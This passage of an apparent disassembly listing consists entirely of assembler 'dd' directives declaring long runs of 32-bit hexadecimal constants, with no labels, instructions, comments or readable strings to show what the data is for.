		dd 99C35726h, 0BE07482Ah, 5563730h, 7A6BB3A2h, 3D79720Ah
		dd 4DAC1E76h, 0F47810Ch, 2C2A7384h, 6EB04E10h, 0F9BE0AEFh
		dd 5BD49AD1h, 0C1DDFE9Ah, 0D83B01B9h, 7097A376h, 6914BFFAh
		dd 4F9C5964h, 0BBE0CDBCh, 4071A592h, 6D746812h,	4B3D96CCh
		dd 93F79C99h, 1CFB6816h, 0CB57B433h, 12E8A9D9h,	40569E20h
		dd 43585B39h, 763E0C2h,	0E92C13BEh, 5E4462C0h, 55516DD6h
		dd 5D8F34h, 0BE6CD84Dh,	2D07105Eh, 7A1D6EB8h, 82278E72h
		dd 4E064FBh, 0BABFCC5Dh, 9FAFE697h, 2C7CC9C8h, 0F07A8E70h
		dd 6C975AE8h, 4C0EEBBh,	0B35303E5h, 0D4E38299h,	0F890C6DDh
		dd 0BDC79D1Eh, 10F9188Ch, 5F547750h, 0B8D8C0D6h, 832C624Dh
		dd 0BE02CE6Eh, 0DD4A3769h, 258E0B0Fh, 0B0E91E8Ah, 83105DD6h
		dd 850F4D06h, 1E19132Dh, 45E72C6h, 0D16FE9C4h, 608A54E7h
		dd 890AC3B0h, 0B88240B0h, 322B170h, 0E9494B99h,	3B044C62h
		dd 0C3A685Bh, 130AAB98h, 0A7A1D14h, 1060E42h, 9A1EA6C3h
		dd 50503F48h, 4AD14808h, 4C6779BBh, 852D4B5h, 1E8E0537h
		dd 34FE1402h, 897981ADh, 4A8B3BCFh, 41EF8719h, 7F05DCE7h
		dd 0D505B792h, 31693C54h, 9F7B90AAh, 657934E2h,	250A7895h
		dd 7951A69Dh, 3B7E618Bh, 7B62D277h, 9BAE0914h, 25FB3477h
		dd 0FCE0BBE9h, 0D97005ADh, 683B3906h, 20AF0FA1h, 35004F0Ch
		dd 0A27457A9h, 358C589h
		dd 7847CD81h, 0C077D09h, 74AA261Bh, 7CFFEDC3h, 61F50403h
		dd 85317D18h, 4248B023h, 8B0BEAF8h, 827AC02Dh, 565E5A4Ah
		dd 5497C2D2h, 72D7000Bh, 3892FF7h, 68525FFDh, 71CA11A0h
		dd 0BA3D6141h, 9E758927h, 0AD18753Bh, 0F5B4A831h, 2FD2524Bh
		dd 0EF39E515h, 0F8D04583h, 0A77AA9B6h, 0BD0B96FAh, 7A2E5ADBh
		dd 2919284Ah, 63D50B82h, 0FA681226h, 2B01B7CEh,	800F368Bh
		dd 4F2B04A0h, 3D1C45CAh, 48DABC4Bh, 79305D3h, 0D980328Ah
		dd 7547349Dh, 5AA95D12h, 0CF09663Eh, 0C18459A8h, 0E974D13Ah
		dd 5C407B10h, 4BB7E6EFh, 4E3AF7D8h, 1C1B86Bh, 30316714h
		dd 2E940AF9h, 563DC780h, 0BF896DF1h, 8C22E66Ah,	2FEAF7E9h
		dd 840CCDDFh, 0A49AE5E9h, 180CBADFh, 0DC413D6Ch, 374B13E7h
		dd 0A8AEB51Ch, 9187308h, 0F9D0C3A5h, 0EBB874E9h, 6F67992Ah
		dd 0F7C0F3A3h, 464968F9h, 0FDDE32BDh, 71ED36B0h, 0F760E03h
		dd 92E9F501h, 8D655DB2h, 0C800DA20h, 81383511h,	584EDAC5h
		dd 860D6D9Ch, 0D44D53CDh, 4926172Bh, 403EFB7Ch,	0FA881C52h
		dd 56D5DD51h, 415405ECh, 0CB8CC8D7h, 28296D14h,	2FAA0989h
		dd 0C18B5F30h, 0C7C076FEh, 50F6416Ah, 13FD8A75h, 8CDA747h
		dd 68022617h, 0C06301B0h, 0AE5EFE07h, 7009F861h, 0BBCBDC4h
		dd 8408E912h, 0B0A13BECh, 0D1D5C21Ch, 0CBD7E37Ah, 0A4B2EF07h
		dd 80D2E2C0h, 0CA5540EAh, 64B64DE9h, 96A4A24h, 0C2722999h
		dd 285E710Bh, 0EF815F27h, 243855E9h, 0E3E0595Eh, 8762C9F2h
		dd 0E60E6FC3h, 2EBA0309h, 425A6445h, 0C1084C8Eh, 0A46E400Ah
		dd 37FC0924h, 0DB63E189h, 597F3CA2h, 22E9E1CAh,	4DCC48E7h
		dd 21EC3600h, 13C9B5B9h, 3BE91ADEh, 66DD208Dh, 0CB5A2F8Bh
		dd 9109DE7Bh, 2D393321h, 0F07E5D1Bh, 131173Dh, 51057FF2h
		dd 0E3182E68h, 0FCADD63Fh, 5781AD95h, 0C2C780E9h, 0AF14005Ah
		dd 0C26B013Ah, 7E3D8F68h, 75A66219h, 0BFCAE5DDh, 0F2A85AC2h
		dd 0F511F8A5h, 5E085B00h, 972976AAh, 19C36BACh,	2E72361Fh
		dd 7388DB26h, 418E2855h, 0A63031CAh, 0CE02A60Bh, 40338A18h
		dd 0C7FE0C03h, 52E5F219h, 42F767F5h, 576DE22Ch,	25AE7C67h
		dd 5F3CBEE0h, 0F75228A0h, 333125E1h, 3BE63B40h,	0CC356089h
		dd 0F840B959h, 252E195Ch, 0D7FB017Bh, 41C32E3Ch, 0E93E395Ah
		dd 7422B7E5h, 30376305h, 0DA7EC013h, 3B5C704Fh,	5C490578h
		dd 0DF0974EEh, 6A59F4ABh, 161FA473h, 965C5D8Ah,	2D33EF54h
		dd 0B6BF95E8h, 0BCD270Eh, 0E4095772h, 4D2A1721h, 0F0182069h
		dd 8BE00370h, 2CBF1C5Bh, 565F1FF0h, 7EECDB61h, 5D65C918h
		dd 56D2256Dh, 1AD17F54h, 5D656880h, 0B5581C91h,	0C28BCFE5h
		dd 8C0A7E05h, 0A74FF909h, 8034CF58h, 6DD90154h,	0ECEE1480h
		dd 0E44C4F51h, 0D9CC8C4Bh, 41012E20h, 6BA90004h, 0E61E87F4h
		dd 0DD6D5F56h, 0A12EB4ACh, 20BA3EC0h, 4BFC608Eh, 3ABBA131h
		dd 5BBEA1C0h, 52B52D59h, 6C3382D7h, 0D2CAAE73h,	346032EBh
		dd 0FC2D3A5Ch, 9213DB53h, 0A0398B8h, 15C32926h,	0A74A1B0Ah
		dd 37180F85h, 6E06828Eh, 0D8855C59h, 8BC5095Fh,	0E5FC4302h
		dd 0B7D0D70Dh, 60BF5B4Ah, 23634D16h, 0C2553424h, 2A7EA582h
		dd 885F560Bh, 942066B3h, 9E092809h, 76490010h, 2E4BC764h
		dd 5A7EF301h, 20A5967Dh, 4B7B1B5h, 0E4EA1CE7h, 585FB35Dh
		dd 48C46787h, 0BD021EF8h, 310565ECh, 0CE24A77Eh, 68A95202h
		dd 0E9F2E8D9h, 5DFD643Fh, 6C47BBB8h, 0A3E4B7CFh, 568481FFh
		dd 0FEF71082h, 44740955h, 82A038E9h, 0B9724FBFh, 0EF317514h
		dd 105B26DEh, 0B9B252E7h, 86870516h, 0C0B406A3h, 4F5C883Bh
		dd 0B004017Dh, 0FC31B436h, 14BC13E9h, 4B5DB901h, 0B03A2B28h
		dd 61D2A29Dh, 3F9441BAh, 0F812A136h, 0EA625D82h, 0D91A45CDh
		dd 13ABA08Fh, 60468D68h, 6C0632CAh, 45E04D5Ah, 611205E6h
		dd 405CE972h, 78F4BDD8h, 897B71F6h, 0F0F1A0A0h,	38A213D6h
		dd 7B3A503Fh, 1428CCD5h, 763BEF02h, 7F6EA3h, 2FC57F62h
		dd 0EC3645E9h, 77B0F7C9h, 0F6305D7Bh, 61ED1790h, 5FFD3B65h
		dd 0F02F505h, 1A3281ADh, 0DDF797F7h, 47F27901h,	0A2403486h
		dd 2FF46418h, 99640125h, 12408AA3h, 7B1381D0h, 0DA17DAAh
		dd 7674B92Bh, 83B5F5A1h, 52471226h, 0DAA788BAh,	0D7292F17h
		dd 0D6AD915Ch, 0EE467145h, 5293E073h, 9A527CBFh, 0B339E85Fh
		dd 68284A3Bh, 5C708817h, 2AEC9213h, 14F06B6h, 0C6352BB9h
		dd 0F941AFD0h, 0F443E9C7h, 0FD89A50h, 0D1745D8Eh, 90CC2D0Fh
		dd 5F6FF876h, 33511F02h, 0AC66DF34h, 420CAB0h, 32F60501h
		dd 0BEB435B6h, 624C69B2h, 82440D27h, 6F2737BAh,	1F8F9038h
		dd 0B6B880E0h, 7073412Fh, 9C05405Fh, 0E11CDD6Eh, 6CDA083h
		dd 91EA807Bh, 35E6D1F7h, 847DB00Eh, 0AD9CA12Eh,	0B33CBEF0h
		dd 6470DB0h, 7CE93508h,	12092407h, 2C1C0B28h, 7CC16F32h
		dd 4B34CE19h, 0E9232859h, 0F4E4D327h, 0C39262B6h, 1AB79048h
		dd 1C7A363Dh, 0D3252947h, 516805D8h, 54554B72h,	0E091870h
		dd 1FEC7Eh, 0D26319A8h,	6E49620Ah, 0EED84101h, 3E1D1301h
		dd 2F8CE915h, 53378E66h, 0B12AC548h, 0F4C43D24h, 813064BFh
		dd 49882Eh, 160FDFF7h, 27220285h, 8244EF82h, 0E96EE030h
		dd 5D2D7266h, 5A0BF066h, 21DD01D2h, 0E816D357h,	9FAAE20Ah
		dd 5F309164h, 29EF5393h, 2D8E2653h, 952109Ah, 0F854CABDh
		dd 0E2024D95h, 0C68F0F07h, 96DB0909h, 0FBD2E906h, 5F492D22h
		dd 0BA0186D0h, 988485ABh, 0CB2ACA29h, 9AE2020Bh, 40267B12h
		dd 0BC01AE7Dh, 0CD0384B6h, 0E684FE63h, 41152DBAh, 2F3B93C1h
		dd 5D099B35h, 0E2D9AEFAh, 6076DD32h, 4C43B850h,	850C539Ah
		dd 0C5652A3Ah, 9898EE75h, 39E161F9h, 5FDA007Eh,	957047BEh
		dd 0F2466E29h, 0C6811D68h, 1216E205h, 8B58A02Fh, 77F9C55Eh
		dd 7BD55E0h, 4B7CC098h,	0DCB7E57Dh, 17728268h, 605FF342h
		dd 16D2F74Bh, 0AB45F668h, 66412161h, 0DD82253Eh, 2F45232Eh
		dd 0C9E66359h, 8D58768Bh, 702901C6h, 31E9450Dh,	59F29E7h
		dd 7FAD67FCh, 4F85B980h, 187E61D1h, 307B6445h, 0B2413A4Fh
		dd 40D6B130h, 0C90F0DACh, 652A0A05h, 0DB42EA83h, 4453CB89h
		dd 8346E02Dh, 87C4D8A9h, 7685C70h, 64C97C19h, 0B1B992h
		dd 0F245C6F5h, 0D5F735h, 10CDB850h, 300569EAh, 4DBC2E05h
		dd 0D5A9C501h, 0B5736812h, 4E1D19Eh, 0AEF102C0h, 5EC0136Fh
		dd 0E09D0450h, 0E6C10702h, 0EC6D055Bh, 18FEC8BFh, 1D66E540h
		dd 2F2FDA68h, 3934A8E4h, 0F4BFD81Dh, 0CBD273A9h, 0E82849E9h
		dd 8A097CB6h, 0D90B2F5Ch, 92B2716Ch, 0A1E508B2h, 0E9EE3B2Dh
		dd 3569916Fh, 295C0DD8h, 14363DA1h, 5C2F48CBh, 9D5C8974h
		dd 0CB00BCDBh, 0B91A3338h, 0EB7C009Ch, 6E1811Eh, 7458C148h
		dd 21A72F38h, 0B1205DAh, 767875C2h, 695D3109h, 61739261h
		dd 0BB000C1Eh, 432747D0h, 97757856h, 0F701D4DCh, 1D9593Fh
		dd 89285A97h, 41C7CD47h, 4F648CBh, 0E1C101EFh, 0F03FCFC1h
		dd 6CB57420h, 0B2C7F4C1h, 0AA41B778h, 42042EB4h, 38AA1C33h
		dd 54E72EBh, 9C411CCh, 210951E5h, 0A8660F5h, 139325ECh
		dd 1284770h, 0C74AF6FBh, 0DB251DD1h, 787D4439h,	27EC980Fh
		dd 0EE56E1A7h, 392CA660h, 0C711C05Eh, 0DEBFFEF3h, 0BF765097h
		dd 21CB92D1h, 206D1BF0h, 78365489h, 0CCDE482Dh,	30EDF187h
		dd 85410302h, 483EC282h, 7C5CADD7h, 40C48227h, 621D769Ah
		dd 235DC55Fh, 0A11EAB7Bh
		dd 772E2903h, 0E946340Dh, 0E17884B2h, 0B3C5FE07h, 0EB8269EDh
		dd 8144A386h, 2032EF1Ah, 26E4612Ah, 0EE31787h, 0BF80D910h
		dd 0C07C1C3h, 9550259h,	774FD55Eh, 2608FAA8h, 7BD880B2h
		dd 0D9F77195h, 98EC43B7h, 0EC8107E1h, 675007Fh,	0BB53410Eh
		dd 0E03E0D9Ah, 43852F61h, 0DFAAAA45h, 541FB479h, 0F51BB289h
		dd 4090CC9Ch, 1C49DF20h, 2D771BE9h, 0F10319FFh,	0E6FE442Ah
		dd 7EBB002Fh, 0F44B9F29h, 0A3DC4A81h, 416A7A04h, 0E42C2439h
		dd 5804A710h, 8750CB88h, 0CD57D94Eh, 715C1341h,	7DA37D06h
		dd 1FBB011Eh, 8D0F1AC9h, 0FE48DFF1h, 0AD9F12BCh, 994C09E6h
		dd 0EF218520h, 0E73DC15Dh, 0C7DF9308h, 2E7D20AFh, 8AE85B66h
		dd 0E4A35AECh, 0C0BA4D02h, 0F55F3F29h, 69F464C8h, 820FC8EFh
		dd 73C06273h, 5B7DB8E2h, 759FB072h, 0C82BE12Bh,	0A5748420h
		dd 42A5A1BDh, 0E820773Fh, 0B2AFA8FDh, 87819716h, 0F420B75Ah
		dd 0D197D1E3h, 0BEE8F0h, 28685355h, 210B6E4Ah, 0A027F2E9h
		dd 0E234FE46h, 0BA80BF51h, 910C1435h, 482CE1B7h, 0BA31BE0h
		dd 0C601E008h, 94CE1306h, 0A470C53Bh, 0A717AE5Dh, 564038FAh
		dd 1C13E398h, 0D0036191h, 0BDB992EEh, 7FED1CAAh, 8C0B040h
		dd 0B5515AD0h, 0F5800B4Dh, 306284Ch, 531FE4F6h,	0F700D3B7h
		dd 2C3D04B0h, 0E875E8D5h, 0F5F8E099h, 288CD7D3h, 0C7800005h
		dd 7EFC001h, 0B579B252h, 1F20EA3Eh, 0E21F76C2h,	0D796912Dh
		dd 282C308Ch, 0E9EAEF0Ah, 0D356BA30h, 7F112AF2h, 660CC741h
		dd 122633Bh, 0AC90AE73h, 0F4D15225h, 6FC981F7h,	39295B0Eh
		dd 92FB3BB7h, 40C54F4h,	97CABE7Ah, 0C8B762D0h, 83683D41h
		dd 0FE7365CFh, 0E77DA42h, 0C83C0B8h, 0FDAE24FEh, 0CF9A0985h
		dd 0BC6170D6h, 180A0109h, 0C6BF4E2Bh, 0D8321E68h, 21CCC503h
		dd 3D2DB201h, 0C71889C2h, 0BD287739h, 0B85F1208h, 0D2BFD745h
		dd 1C582D8Eh, 0BA52AD00h, 7C6F2B95h, 0D886A829h, 874227E9h
		dd 0E9624A53h, 2C7768F5h, 6758BFDBh, 20E63FE9h,	9C87B7Bh
		dd 2C98E973h, 831FB73h,	0C6F9CF88h, 843CC43Eh, 0A8C5ACCBh
		dd 0FBB825E9h, 0F3CA6BDEh, 0A303B7A2h, 6875256Ch, 30EBF42Fh
		dd 85DB95Ah, 331F589Fh,	0E31DED6Ch, 9DF494BAh, 0C9B85927h
		dd 68F000D4h, 33164F98h, 0BDD23645h, 37411B62h,	0DB06A007h
		dd 74DFBE2Ah, 5B506812h, 0DE2DFBF3h, 795785E2h,	5480EBE6h
		dd 1140778Eh, 58E5C131h, 673A5AC3h, 49F4A217h, 7F2C9A79h
		dd 3F0010A6h, 8125D15Bh, 74E80BCBh, 88FF1E2Dh, 9902B9F3h
		dd 0FC467638h, 623B3B1Ch, 0A3ACBC4Eh, 0A3B11733h, 1732AD9Bh
		dd 19A85F1Ah, 41D2FF1h,	30E2C9EBh, 586798A2h, 0C4CBB821h
		dd 38E29F94h, 0AA290824h, 8CD28E12h, 0C4095758h, 1EFA017Fh
		dd 5ACFDA3Eh, 3B4BBD8Eh, 17BADE5h, 7CEC681Fh, 0A0D96996h
		dd 0A89933D3h, 588E5595h, 2DC7201Eh, 1C51F704h,	6A1752A6h
		dd 0F7D128FEh, 3024DA58h, 0F5CA1BAFh, 0CB41581Ah, 50FC202h
		dd 0CF84483Ah, 29660350h, 0AC39FE8h, 0B32DB84Ah, 448B4B46h
		dd 13766860h, 3286C8EEh, 0B8D680BDh, 5164051Ah,	66F08749h
		dd 53DFDF0Ah, 0ECB302h,	0CEC680BAh, 7505EEC0h, 38B998FEh
		dd 0DE2C42B3h, 0A8E90D73h, 39FD40EBh, 4A7B5E05h, 0A0C69228h
		dd 25A1B438h, 0D31A75E7h, 5784CD42h, 0A5E485F0h, 229C186h
		dd 0C938E246h, 0CE8956F5h, 9C57BB14h, 191CC976h, 8D239390h
		dd 0F52E2981h, 0E92C2B26h, 0EA61BA46h, 16154B76h, 0AC4431A4h
		dd 295E000Dh, 70F6F0FDh, 76D4BD70h, 1B36C1E3h, 50BE210Bh
		dd 70E1822Dh, 8D7C9D28h, 0BB184F69h, 0A82D1613h, 0F15A857Bh
		dd 40E8AFAh, 1F9209A7h,	2625DFC0h, 6637642h, 6E2E85CEh
		dd 37021849h, 0E93401D0h, 4A5F52ECh, 2C8FB9EDh,	0B207D058h
		dd 2D20F661h, 18A7296h,	0BBBF5744h, 7E335E1Ah, 36433CE1h
		dd 6CAEF46Ah, 15A7C4Dh,	3A20BCCDh, 7A4BFC5h, 0CD68A014h
		dd 1070A15Ch, 0E90C3BF7h, 90A2039h, 0A79CCA4Ah,	300145EAh
		dd 0E748BEABh, 8C212C8Ch, 740F6626h, 0B99E80FAh, 7F0C0A4Fh
		dd 0F77F2541h, 0C583C9DEh, 18F374h, 8C4870E8h, 3ACB0573h
		dd 5430782Eh, 0B5FE904h, 5EF77390h, 3BE89747h, 96165AEFh
		dd 7C03C915h, 4F23B4E9h, 48EEE38Eh, 388F01FCh, 0D9F70796h
		dd 403B5770h, 554868D4h, 0D75C31F8h, 543D515Fh,	550DE9E1h
		dd 7DB40086h, 0B1B65251h, 271478B5h, 9D8B698Ch,	0E90EC57Ch
		dd 9D0B233h, 0DE3D68h, 0C2BE5602h, 4E21FD57h, 5809C390h
		dd 7D16F117h, 28087D25h, 5D2E56ACh, 580922DEh, 8C055130h
		dd 0C39166EAh, 0EB254573h, 0E83D44C6h, 0E0F08A14h, 0E490432Dh
		dd 1185125Dh, 685C286Dh, 9943FB2Fh, 49F8A4A9h, 2D582415h
		dd 0E2900F99h, 560B8165h, 0B4800413h, 65A3EADBh, 16079C7Eh
		dd 0AE34FA8Eh, 0A29F12FBh, 0B1023E17h, 0BC53A387h, 552FEF66h
		dd 5DD0BA74h, 0C68B5EE9h, 1420CE5Ah, 0C2C2EC3h,	0B334160Bh
		dd 31542D0Fh, 1878E5C6h, 8F0F4907h, 67C88BC3h, 0EE047D13h
		dd 1AC4E922h, 6CA249EAh, 6673A583h, 0DA2D5C12h,	8D3E1A8h
		dd 4E16A464h, 0E6CF40FAh, 1CBF5E27h, 1F4CDCFEh,	2B8781BBh
		dd 13EC68BCh, 28669D4Fh, 6F0BFEF4h, 725D67B4h, 31887773h
		dd 25E2664Ch, 0C5A781E1h, 0ED3B2EC4h, 463DC13Ah, 491B2052h
		dd 74BA1912h, 5EDE3305h, 0EEC13380h, 4DFEC103h,	70E87DF6h
		dd 0E6BDD8C9h, 0C5B520CCh, 7D20547Eh, 0FFE9FD8Dh, 0FD16C82h
		dd 8F800543h, 39D22D0Bh, 0B74CABFh, 608C5908h, 0E0E9C831h
		dd 8DA28C4Fh, 0DCA4F689h, 0F2AFB042h, 0D02DCD0Dh, 0B0311023h
		dd 10F8803Eh, 585BD432h, 2D025CB2h, 3EA01E75h, 6F2EB5E1h
		dd 0D57FEECDh, 0C8D087Fh, 55804729h, 84430DBDh,	0A4014A5Ah
		dd 3F17B310h, 20E2B38h,	5F271C15h, 525B5434h, 0F9D26DE2h
		dd 89EF929Eh, 68F12FE8h, 89DE37Eh, 405AC68h, 0BC1A25E9h
		dd 355C8038h, 5D444B5Fh, 0EC4E0D65h, 0F86BA94Fh, 0F91CB1C0h
		dd 0F0B0AF05h, 6AFB3DEAh, 0D189160Ah, 5755405Dh, 61043568h
		dd 10E902D7h, 0DE5BB7A8h, 0F646460h, 0F50300A9h, 59FA756Dh
		dd 14828E09h, 13A7DEB1h, 0C1ACE8F0h, 0B15473Dh,	0E961F07Eh
		dd 0BC0B6C4Ah, 0CB645E5Bh, 93FE0277h, 62AC5C9Ah, 5907A043h
		dd 21959FE5h, 0FE1D21FAh, 0EB810013h, 9B1CC15Ah, 3BCF08E9h
		dd 0F31298E7h, 0BEC8EA5Eh, 97B155E9h, 9F18913Ah, 0EBBD00F6h
		dd 5B43D44h, 0E2C2FA25h, 68CB9855h, 0F353B73Ch,	0D3C15909h
		dd 82DDA78Bh, 5358B0E0h, 76B919F8h, 0FDAD6A5Bh,	0D1AA6A84h
		dd 0CCEFD12Eh, 64CE7C1h, 89B42D00h, 84CDBCDh, 5E2DC569h
		dd 35FC02EEh, 6F41727Fh, 890741EDh, 0D0467A29h,	7646CD64h
		dd 0D9EF6950h, 0DDECD1C2h, 2290B14Eh, 980667C2h, 20EFB0B3h
		dd 5C4F1E5Bh, 0A24EFAA9h, 1768C3E5h, 0EE4B100Eh, 21EF4FD2h
		dd 0C28BB2C8h, 62A959DFh, 805B7BEDh, 0A036E98Bh, 5AE781FFh
		dd 3EEF0241h, 46B58A0Fh, 34AA577h, 104F0EC3h, 3D78E118h
		dd 12BB3E81h, 6A47CCDh,	5BD240EDh, 68A770E3h, 2725021Bh
		dd 0EEBAF93Eh, 0AD5BE44Ah, 0B100D218h, 35066405h, 77AF984Eh
		dd 7C58285Eh, 72330BE8h, 0A2FD5FDBh, 0C617AE80h, 4EF3BD46h
		dd 0FE251142h, 0D551E984h, 2883008h, 0F180D1F6h, 17D3C78Eh
		dd 5D5B622h, 41F06853h,	0EB00E5C4h, 0BE2793E3h,	0FCBEC1Bh
		dd 31613B06h, 2117C380h, 89320A44h, 736960D9h, 5092826h
		dd 31B30C1Ch, 7499401h
		dd 0DFBCE908h, 418EEF72h, 0B67CC85Bh, 38A8814Fh, 0EDE8310h
		dd 1673B468h, 0A346DCFAh, 5CF08997h, 0B805D058h, 136057BCh
		dd 0FA36C33Eh, 0C8DCBF4Ah, 4C47F752h, 358206B4h, 955BD8D0h
		dd 3208437Bh, 0BEE97099h, 0DF69EABDh, 3A253114h, 589C562Fh
		dd 514E5AE9h, 1FFCACCCh, 6D7F735Ch, 0F609A7F5h,	6424381h
		dd 57D1F70h, 0E97CF53Dh, 20FEE1FCh, 1B1EE7E5h, 0ECBDB14h
		dd 0F3FEA24Ch, 27145C9Eh, 466403DFh, 0B9A54ED6h, 2AC61786h
		dd 9B40E3A9h, 27450B97h, 145F597Bh, 9F58B05Bh, 57C8CA2Ch
		dd 14AC5B12h, 7042AE1h,	3F1429ABh, 0A44E78F8h, 0C3B5E5DFh
		dd 74D8929Bh, 9E5CC9B6h, 2750777Ah, 0BA4BE915h,	0A4637F9Dh
		dd 5F48E80Bh, 2BDCE1C5h, 802A82F5h, 5B036048h, 5F111748h
		dd 0CABF0617h, 0F77713EDh, 3CB9EF40h, 95093A3Bh, 400CD6D1h
		dd 0BF5C3ACAh, 9CBDACD6h, 51250BE3h, 0D2FD4259h, 825A6603h
		dd 0FC87E2F8h, 411678h,	167A3415h, 0CD05815Ch, 54F85F78h
		dd 2BFF9880h, 0A2884832h, 0B1F3B84Bh, 46B1B70Dh, 0D539ADD9h
		dd 20E27E36h, 0C34FEDD7h, 85C814E9h, 9F7BF2BEh,	0A4AB2D89h
		dd 4402D920h, 6444CB28h, 0CCC7E93Ah, 2E13816Eh,	0FC3F3A4Dh
		dd 46081810h, 2F4ED38Eh, 905F5E0Fh, 604DE967h, 0EDBA0AE5h
		dd 3F06554Ah, 0D1F7CA87h, 0BEFB008h, 271301C0h,	1D2E2700h
		dd 0F7F7448h, 0DAEC105Bh, 0F2F0F84Ah, 40D6C2C1h, 661D862h
		dd 3BE90849h, 0F104E5A5h, 0EA065628h, 10251EEEh, 0E0BD019Dh
		dd 31034F0Ah, 4A2B79F2h, 321928EBh, 59226C4Bh, 0E446A660h
		dd 0A70A18BAh, 0A3530E3Eh, 4909521Fh, 22027707h, 0F600010Ah
		dd 766C21C5h, 60CE0467h, 0F96EE940h, 0E3B31A95h, 86AFC04Ah
		dd 10E69D76h, 0B8505600h, 477F3E7Bh, 0C1891E05h, 0E2E94B80h
		dd 0B53B8650h, 6C9B931Bh, 50411967h, 0D72C19AEh, 0EB03EED2h
		dd 0B3FE875Eh, 100842D7h, 626FF34Ah, 0B9D6F70Dh, 0F47A5E0Bh
		dd 0F81DD11Fh, 0EF82B9E4h, 404A2DE8h, 0BDF29253h, 3CD6C23Ch
		dd 0EBF50DB9h, 0C9A2CB3h, 605AEF54h, 2C5BEACDh,	3FB5527h
		dd 10486653h, 967D9C3Bh, 810D3A07h, 0E0DA835Dh,	4E6CF38Ah
		dd 1236B65Fh, 93B738A2h, 2DD1481Ch, 42B7B07Dh, 885A9A14h
		dd 3738A188h, 0C0EC403Ah, 0E92D192Ch, 4317215Eh, 0B8E274AAh
		dd 0B4C1337h, 0E97A30AFh, 4EE629B5h, 55C1060h, 5E772161h
		dd 1813A4F6h, 26802D40h, 190B85F7h, 30CF43B4h, 5F5EF8E2h
		dd 6F23DFE4h, 7DC1F162h, 2B771668h, 1F74B142h, 0C68B8211h
		dd 0E3E5D7D2h, 7C8EA00h, 0BC310D70h, 9BF725F7h,	0E9CB0C59h
		dd 0F1819F6Bh, 6EE65E5Ah, 5FC03B3Bh, 68665B07h,	0ED4D3FB8h
		dd 9FCC7430h, 0B28A7DF1h, 0FDC944BAh, 1699EC0Ah, 58A64984h
		dd 2D35035Dh, 6321B1ACh, 0A221B661h, 5DE80811h,	8439B33Bh
		dd 44EF43D5h, 0AE082EBAh, 0E457135Fh, 5D099949h, 530C6116h
		dd 0A0F3FAE9h, 55D409BFh, 80FD7798h, 47F70512h,	2F2CB8DBh
		dd 0C279ED62h, 3B3FD43h, 5EDEC1DBh, 0C0479F5h, 1D580999h
		dd 0F9143901h, 0A6A57A70h, 820C0806h, 0D03A8614h, 6FEC9F91h
		dd 391A1625h, 972B2144h, 0AA728F42h, 5D2A7A2Dh,	3F3C103Ch
		dd 9909A768h, 2BA71CE9h, 0C25A1CDFh, 5F7ACC86h,	70C08BDDh
		dd 800F091Bh, 0E972F584h, 792CABA1h, 58AD0480h,	710F1C88h
		dd 9204B828h, 31AF010Fh, 81344555h, 376C635h, 0C810554h
		dd 15B963E6h, 0EEF2F301h, 40C088Dh, 290CC014h, 0F745D7Fh
		dd 685BDE02h, 0F71E0693h, 565171B0h, 81FEE916h,	2D8039BDh
		dd 174436C0h, 71F00125h, 68528095h, 5FB2135Dh, 0F8D05A4Ah
		dd 2F64A1Eh, 0E9D38976h, 5F48D775h, 4E9805EEh, 0EA8A081Ch
		dd 0BAE3116h, 0C1623D48h, 5AD2B4F5h, 34D03130h,	2E540C61h
		dd 804F79E9h, 9052B305h, 0C14929F9h, 8CE193D1h,	58BDF22Ah
		dd 20E004E6h, 0D4EE7CE8h, 0C0818D7h, 7097D16h, 0DF535A1Fh
		dd 0D520CECCh, 62B995C4h, 7CC229FCh, 79058E0Fh,	0F48A8B36h
		dd 0EB8B80FAh, 889FB353h, 868AD85Bh, 35E9520Ah,	0CEF140F4h
		dd 2E5B25A8h, 0E9837DB3h, 0FE84B78Ah, 10CB44B2h, 30029270h
		dd 885259EBh, 0A151DFDEh, 0F3414328h, 0D6E4107Bh, 4C215A14h
		dd 0B16DE91Ch, 0E502EF5Fh, 0FE7920B1h, 384083FAh, 1676B75Ch
		dd 0E95C1754h, 5594C33Ah, 7BB066B1h, 8D3D1E40h,	0F84D5D12h
		dd 0CACA5D8Ch, 1E97DD3Bh, 0C120BD09h, 38428F56h, 68A0A128h
		dd 80A633E7h, 88E95116h, 9BAF7E0h, 0BA56A18h, 95EC3E00h
		dd 7BFBF45Ah, 365D6F89h, 8597023Fh, 48031267h, 289C040h
		dd 0F750C017h, 2FB468D0h, 0B044695h, 77BF5078h,	0E86B8BAFh
		dd 7F53EA55h, 0FB905AD8h, 96265C3Eh, 3BBC282Ah,	0A8EFE8CDh
		dd 33788390h, 0AC06183Eh, 4DA47EB7h, 5EF9A70Bh,	8B244F23h
		dd 3BC6E8ACh, 0F08D9647h, 0BDE94FC0h, 360AD8D3h, 0C18293BAh
		dd 9EF95A03h, 0C095003Eh, 0D8F606E8h, 0CA61A4B0h, 1B428031h
		dd 0C8014122h, 0E93E8867h, 0DBD17E91h, 0AD97F6D8h, 0E1B5ACD7h
		dd 0A9901ACBh, 4A892CE6h, 0F7AC1D31h, 9241B901h, 450B5D58h
		dd 41E274C3h, 7B450868h, 690B1A6h, 7538EF92h, 0BFE370B2h
		dd 50805FF3h, 0AA5357B8h, 1C709D10h, 6ADC2D04h,	0CBFA154Ah
		dd 391C05D5h, 90AA4892h, 5551C3FBh, 0E9270F06h,	25D135D4h
		dd 0F6D9CEB2h, 6E9A6884h, 0C52B0D8Dh, 9639EEA4h, 287D042Bh
		dd 90DD9879h, 503FFDB2h, 21DF8753h, 0AB1F5B26h,	0B455782Dh
		dd 35C1F265h, 0D31269C1h, 0B76F12ABh, 0B6558ACBh, 0BC174324h
		dd 13A4E754h, 3329CB49h, 0C43CB561h, 368344Ah, 573B71B1h
		dd 58E2319Bh, 0CFDC22D5h, 918109E4h, 7FCB7B1Dh,	0F2A8D9B1h
		dd 73963101h, 0F4D3F565h, 86982272h, 0AD6600F1h, 75B52668h
		dd 0FD69FBh, 0E9396249h, 3F456E6Fh, 287DBEC1h, 0C11D7405h
		dd 1C0508A3h, 6D5F0A8Ah, 2024C0AFh, 5B7D1C77h, 7679F20Bh
		dd 0B66077EAh, 4EFA3108h, 40AAE916h, 0B4C59FD3h, 33B191ACh
		dd 35F83EF1h, 10AF8D84h, 0B8955492h, 0CEF1895Ah, 0E016122Fh
		dd 0F82768D7h, 104B184Dh, 23380428h, 0AA5876E9h, 1868F760h
		dd 6F94976Dh, 936194B5h, 73E989C8h, 5FD006A9h, 20F2ECBFh
